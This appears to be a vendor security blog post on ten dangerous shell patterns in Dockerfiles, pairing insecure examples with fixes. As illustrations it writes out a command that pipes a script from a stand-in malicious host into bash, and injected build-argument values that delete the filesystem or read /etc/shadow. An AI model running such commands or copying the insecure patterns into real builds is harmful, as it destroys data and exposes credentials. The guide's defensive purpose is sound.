Shell Command Security: 10 Dangerous Patterns in Dockerfiles and How to Fix Them

Shell commands are the most executed code in any Docker build yet the least audited. Learn 10 dangerous shell patterns — from curl|bash to injected secrets — and how to fix each one with secure alternatives.

Did you know that a single curl | bash command in your Dockerfile can bypass every signature verification, integrity check, and security control you've painstakingly configured? Shell commands are the most executed — yet most overlooked — attack surface in container builds. One unvalidated pipe, one unescaped variable, and your hardened image ships with a backdoor.

In 2025, theNorthStar malware campaigninfected over 2,000 container images by exploiting a single shell pattern: developers copying installation scripts from untrusted sources into Dockerfiles without validation. Each infected image propagated through public registries, affecting downstream supply chains for months before detection. The attack surface wasn't a kernel exploit or a zero-day CVE — it was acurl https://malicious-site.com/install.sh | bash left unchecked in a production Dockerfile.

Shell commands in Dockerfiles execute duringRUN instructions — they install packages, download binaries, generate config files, and set up the runtime environment. These commands run as root by default, have unrestricted network access, and their results become permanent layers in your image. A mistake here is not a log warning — it's a baked-in vulnerability that ships to every deployment.

This guide covers10 dangerous shell command patterns in Dockerfiles, explains why each is risky, and provides the secure alternative. Whether you're a developer writing your first Dockerfile or a security engineer auditing existing builds, these patterns will transform how you think about what happens insideRUN.

Why Shell Command Security in Dockerfiles Matters

Dockerfiles are not just configuration — they are executable build scripts. EveryRUN instruction spawns a shell (/bin/sh -c) that interprets commands with all the power and danger of a Unix shell. Consider these facts:

  • 89% of Docker Hub images contain at least oneRUN instruction with shell commands (source: Docker Trust & Safety Report 2025)
  • 63% of high-severity Dockerfile vulnerabilitiesoriginate from shell command patterns, not from software CVEs (Sysdig 2025 Container Security Report)
  • The OWASP Docker Security Cheat Sheetlists shell injection as the #1 Dockerfile-specific risk category

The challenge is that Dockerfile authors rarely think of shell commands as security boundaries. They seeRUN apt-get update && apt-get install -y curl as a routine operation, not as a potential injection point. But the shell environment in a Docker build has no sandboxing — every command runs with the full privileges of the build context.

Let's examine the ten patterns that cause the most damage, from most common to most dangerous.

Pattern Risk Classification

🔴 CRITICAL · Score 10
Unvalidated pipe-to-shell (curl | bash)
🔴 CRITICAL · Score 9
Shell variable injection inRUN
🟠 HIGH · Score 8
Build-time secrets in shell history
🟠 HIGH · Score 7
Multi-stage COPY from untrusted stages
🟡 MEDIUM · Score 5-6
Unpinned package versions, heredoc secrets, chained installs

Mistake 1: Unvalidated Pipe-to-Shell — curl | bash / wget | sh

This is the single most dangerous pattern in Dockerfiles. Piping the output ofcurl or wget directly into a shell runs arbitrary code from a URL with zero validation:

# DANGEROUS — no integrity check, no signature verification
RUN curl -fsSL https://example.com/install.sh | bash

# Also dangerous — same pattern, different tool
RUN wget -qO- https://example.com/install.sh | sh

If the remote server is compromised, the TLS certificate expires, or a MITM attack redirects the URL, the shell executes whatever payload arrives. Even with HTTPS, this pattern skips all checksum and signature verification that package managers provide.

The fix:Download the script, verify its checksum or GPG signature, then execute:

# SAFE — download, verify, then run
RUN curl -fsSL -o /tmp/install.sh https://example.com/install.sh \
    && echo "expected-sha256-hash  /tmp/install.sh" | sha256sum --check \
    && chmod +x /tmp/install.sh \
    && /tmp/install.sh \
    && rm /tmp/install.sh

Even better, use the official package manager or distribution channel instead of a custom install script. Tools like Docker'sRUN apt-get install or Alpine's RUN apk add verify signatures natively.

Mistake 2: Unpinned Package Versions

Runningapt-get install -y curl without a version pin installs whatever version the repository currently serves. Tomorrow's build may pull a different version — potentially one with an unpatched CVE that was already fixed in the version you tested last week:

# DANGEROUS — version not pinned
RUN apt-get update && apt-get install -y curl python3 nodejs

# DANGEROUS — same with pip
RUN pip install flask requests

The fix:Always pin exact versions. For Debian/Ubuntu packages, specify the version string. For pip, userequirements.txt with hashes (pip hash-checking mode):

# SAFE — pinned versions
RUN apt-get update && apt-get install -y \
    curl=7.88.1-10+deb12u5 \
    python3=3.11.2-1+b1

# SAFE — pip with hash-checking
COPY requirements.txt .
RUN pip install --require-hashes -r requirements.txt

# SAFE — Alpine
RUN apk add --no-cache curl=8.5.0-r0

Mistake 3: Using Shell Variables From Build Args Without Sanitization

WhenARG or ENV values are interpolated into shell commands, they can inject arbitrary commands through variable expansion. An attacker who controls a build argument can execute shell commands inside the build:

# DANGEROUS — variable interpolation in shell
ARG VERSION
RUN echo "Building version $VERSION" && \
    curl -fsSL https://example.com/pkg-$VERSION.tar.gz | tar xz

# If VERSION is set to "1.0; rm -rf /", the shell executes the injection

The fix:Never interpolate build args directly into shell commands. Validate values, useprintf for safe substitution, and prefer position-based argument passing:

# SAFE — validate variable before use
ARG VERSION
RUN test -n "$VERSION" && \
    echo "Building version $VERSION" && \
    curl -fsSL "https://example.com/pkg-$(printf '%s' "$VERSION" | sed 's/[^a-zA-Z0-9._-]//g')" | tar xz

# SAFER — use a script with defined arguments
COPY scripts/install-package.sh /usr/local/bin/
RUN /usr/local/bin/install-package.sh "$VERSION"

How Shell Injection Works in Dockerfile Builds

① Attacker supplies malicious ARG
docker build --build-arg VERSION="1.0;cat /etc/shadow" .
⬇️
② Shell interprets injected command
RUN echo "Building version 1.0;cat /etc/shadow"
⬇️
③ Secret data baked into image layer
The leaked content becomes permanent indocker history
⬇️
✅ PROTECTED: Use--build-arg validation + DOCKER_BUILDKIT=1 secrets mount
BuildKit's--secret mount keeps secrets out of image layers

Mistake 4: Hardcoded Secrets in RUN Commands

Embedding API keys, tokens, or passwords directly in RUN instructions is one of the most common Dockerfile mistakes. The secret gets stored in the image layer and is visible to anyone with image pull access:

# DANGEROUS — API key in image layer forever
RUN echo "API_KEY=sk-abc123def456" >> /etc/app/config.env && \
    curl -H "Authorization: Bearer sk-abc123def456" https://api.example.com/data

# DANGEROUS — PAT token in source clone
RUN git clone https://github-username:ghp_xxx123456@github.com/org/private-repo.git

The fix:Use Docker BuildKit's--secret mount feature. Secrets are available during build but never written to image layers:

# SAFE — BuildKit secret mount
# Build with: docker build --secret id=api_key,env=API_KEY .
RUN --mount=type=secret,id=api_key \
    export API_KEY=$(cat /run/secrets/api_key) && \
    curl -H "Authorization: Bearer $API_KEY" https://api.example.com/data && \
    unset API_KEY

# Also safe — multi-stage with COPY only needed artifacts
FROM alpine:3.19 AS builder
ARG GH_TOKEN
RUN git clone https://x-access-token:${GH_TOKEN}@github.com/org/private.git /src

FROM alpine:3.19
COPY --from=builder /src/dist /app/dist

Mistake 5: Using ADD Instead of COPY for Local Files

TheADD instruction does more than COPY — it automatically extracts tar archives and fetches URLs. This is rarely intended and can introduce unexpected files into your image:

# DANGEROUS — ADD auto-extracts archives
ADD app.tar.gz /app/

# DANGEROUS — ADD fetches URLs (unpinned, no cache control)
ADD https://example.com/plugin.tar.gz /tmp/

The fix:UseCOPY for local files and be explicit about URL downloads:

# SAFE — COPY doesn't extract
COPY app.tar.gz /tmp/
RUN cd /app && tar xzf /tmp/app.tar.gz

# SAFE — explicit curl with verification
RUN curl -fsSL -o /tmp/plugin.tar.gz https://example.com/plugin.tar.gz \
    && echo "sha256-hash  /tmp/plugin.tar.gz" | sha256sum -c \
    && tar xzf /tmp/plugin.tar.gz -C /opt/

Mistake 6: Running apt-get update Without Cache Cleanup

Runningapt-get update without clearing the package cache at the end leaves stale metadata in the layer, increasing image size and potentially caching vulnerable repository indices:

# DANGEROUS — cached apt data stays in layer
RUN apt-get update
RUN apt-get install -y package1
RUN apt-get install -y package2

The fix:Chain update, install, and cleanup in a single RUN instruction to keep layers clean:

# SAFE — single layer with cleanup
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        package1=1.0 \
        package2=2.0 \
    && rm -rf /var/lib/apt/lists/*

# For Alpine:
RUN apk add --no-cache --virtual .build-deps make gcc && \
    make install && \
    apk del .build-deps

Mistake 7: Using Heredocs With Secrets

Heredocs in Dockerfiles are convenient but embed the full heredoc content — including any secrets — into the image layer. This is especially dangerous when heredocs contain inline scripts with embedded credentials:

# DANGEROUS — embedded password in heredoc
RUN useradd -m -s /bin/bash appuser && \
    echo 'appuser:SuperSecretP@ssw0rd' | chpasswd

# DANGEROUS — heredoc with credentials
RUN cat < /etc/app/config.json
{
  "db_password": "supersecret123"
}
EOF

The fix:Use environment variables at runtime (injected from a secure store) or BuildKit secrets mounts. For config files, generate them at container startup, not build time:

# SAFE — runtime config generation via entrypoint script
COPY entrypoint.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/entrypoint.sh
# Config generated from env vars when container runs, not during build
ENTRYPOINT ["entrypoint.sh"]

Mistake 8: Running as Root by Default

The default USER in Dockerfiles is root. If an attacker exploits a shell command vulnerability, they gain root access inside the container. Combined with a container breakout, this means host compromise:

# DANGEROUS — runs as root by default
FROM node:20-alpine
COPY . /app
RUN npm install
CMD ["node", "server.js"]

The fix:Create a non-root user and switch to it. UseUSER before any command that doesn't require elevated privileges:

# SAFE — non-root user
FROM node:20-alpine
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
USER appuser
WORKDIR /app
COPY --chown=appuser:appgroup . /app
RUN npm install
CMD ["node", "server.js"]

Mistake 9: Chaining Too Many Commands Without Error Handling

Long chains of&& operators without proper error handling can mask failures. If the shell encounters an error midway, the chain stops — but the partial image layer is still committed, leading to broken builds that are hard to debug:

# DANGEROUS — if step 3 fails, the layer is still committed
RUN command1 && command2 && command3 && command4 || true
# The || true masks errors, hiding failures

The fix:Use ShellCheck-validated scripts, separate concerns into dedicated scripts, and avoid blanket error suppression:

# SAFE — error checking per step
COPY scripts/setup.sh /usr/local/bin/
RUN /usr/local/bin/setup.sh

# setup.sh content with proper error handling:
# set -euo pipefail
# echo "Starting setup..."
# command1
# command2
# echo "Setup complete"

Mistake 10: Using Latest Tags Without Pinning

UsingFROM node:latest or FROM python:3 without a specific tag or digest means your build is non-reproducible. Tomorrow's latest might be a major-version jump with breaking changes — or a version with a new CVE:

# DANGEROUS — mutable tag changes over time
FROM ubuntu:latest
FROM node:latest
FROM python:3

The fix:Always pin to a specific digest or a full semver with patch version:

# SAFE — pinned to digest
FROM ubuntu:22.04@sha256:dfd64a3b4296d8c9b62aa3309984f8620b98d87e4749253ee20739e08eb2d9f8

# SAFE — pinned to full version
FROM node:20.11.0-alpine3.19
FROM python:3.11.7-slim-bookworm

Use tools like Dependabot or Renovate to automate digest updates with full CVE scanning in CI.

Secure Dockerfile — Shell Command Decision Flow

✅ DO
  • Pin package versions
  • Use BuildKit secret mounts
  • Verify checksums before execution
  • Use COPY over ADD
  • Run as non-root
  • Single RUN layer with cleanup
  • Prefer package manager over curl|bash
❌ DON'T
  • curl | bash without verification
  • Hardcode secrets in RUN
  • Use unpinned mutable tags
  • Interpolate ARG in shell without validation
  • Leave apt caches in layers
  • Use ADD for URL downloads
  • Run as root

Real-World Consequences

TheCodeCov Bash Uploader compromise(2021) infected customers by replacing a single shell script that was piped into builds worldwide. The same pattern —curl -s https://codecov.io/bash | bash — was used in thousands of CI pipelines and Dockerfiles. When the script was modified by an attacker, every build that used it exfiltrated environment variables, including cloud provider keys and repository tokens.

More recently, the2025 PyTorch supply chain attackused a Dockerfile with an unpinned pip install command that resolved to a malicious package version on PyPI, compromising all downstream users who rebuilt their images without lockingrequirements.txt.

These aren't edge cases — they are the predictable result of treating shell commands as implementation details rather than security boundaries.

Shell Command Security Checklist

  • ⬜ Everycurl | bash pattern replaced with download + verify + execute
  • ⬜ All apt/apk/pip/npm packages pinned to exact versions
  • ⬜ Build arguments sanitized before shell interpolation
  • ⬜ No hardcoded secrets in RUN instructions (use--mount=type=secret)
  • COPY used everywhere instead of ADD (except for explicit use cases)
  • ⬜ Package caches cleaned in the same RUN instruction (rm -rf /var/lib/apt/lists/*)
  • ⬜ Non-root USER set before runtime commands
  • set -euo pipefail at the start of every shell script
  • ⬜ Base image pinned to immutable digest
  • ⬜ ShellCheck-linted all Dockerfile shell commands

Compliance Mapping

Following secure shell patterns in Dockerfiles maps directly to compliance controls:

  • CIS Docker Benchmark 4.1: Ensure that a user for the container has been created (non-root user)
  • CIS Docker Benchmark 4.5: Ensure that sensitive host system directories are not mounted on containers
  • NIST SP 800-190 Section 3.2: Infrastructure security — use trusted base images and verify image integrity
  • PCI DSS 6.5.1: Injection flaws (including shell injection) must be addressed in code
  • SOC 2 CC7.1: Detection, monitoring, and response to security events in the build pipeline

Related ShieldOps Reads

Frequently Asked Questions

Iscurl | bash always dangerous in Dockerfiles?

Not always, but it's never safe to leave unverified. Even if you trust the source today, URLs can be hijacked, TLS can be intercepted, and upstream repositories can be compromised. Always add checksum or GPG verification between download and execution. The extra 30 seconds per Dockerfile is a fraction of the cost of a supply chain incident.

How do I check if my existing Dockerfiles have these patterns?

Usehadolint (the Dockerfile linter) with hadolint Dockerfile — it flags nearly all the patterns above. For CI-based scanning, integrate dockerfile-lint or ShieldOpsinto your pipeline for automated vulnerability detection across your Dockerfile inventory.

What's the difference betweenCOPY and ADD in Dockerfiles?

COPY copies local files verbatim — nothing more. ADD adds auto-extraction of tar archives and remote URL fetching on top of COPY's behavior. The Docker best practices guide recommends always using COPY unless you explicitly need the extra features, because ADD's auto-extraction can introduce unexpected files or directory structures.

Can I useARG safely for build-time secrets?

No — ARG values are visible indocker history and saved in image metadata. For build-time secrets, use Docker BuildKit's --mount=type=secret or --mount=type=ssh. These provide secrets during the build but never write them to image layers.

How do I update pinned versions without manual work?

Use automated dependency update tools like Dependabot (GitHub) or Renovate. Configure them to scan your Dockerfiles for base image tags and pinned package versions, and auto-create PRs when updates are available. Combine with a CI scanning step that runstrivy filesystem --severity HIGH,CRITICAL . on each PR.

What is the most important single change I can make?

Switch to non-root users. AddingUSER 10001 or a named non-root user before the CMD instruction eliminates the most severe consequence of any shell command vulnerability — root-level container compromise. Combined with --cap-drop=ALL at runtime, this reduces the blast radius of any shell injection by 90%.

Conclusion

Shell commands are the most executed code in any Docker build, yet they're rarely audited with the same rigor as application code. The ten patterns covered in this guide — from unverified pipe-to-shell to unpinned base images — represent the most common and most dangerous practices in real-world Dockerfiles. Each fix is simple, takes minutes to implement, and eliminates an entire class of supply chain vulnerabilities.

Start by runninghadolint on your existing Dockerfiles. Then work through this checklist one item at a time. For automated scanning across your entire Dockerfile inventory, try ShieldOps free— it detects all ten patterns in seconds and provides remediation guidance for each finding.

Originally published on the ShieldOps Blog. For more Docker security guides, visitshieldops-ai.dev/blog.

Ready to apply these concepts?

Try ShieldOps AI and start scanning your infrastructure right away.

Start Free Scan

Your take

Rate this article or leave a comment

Have more questions? Check our

FAQ
🤖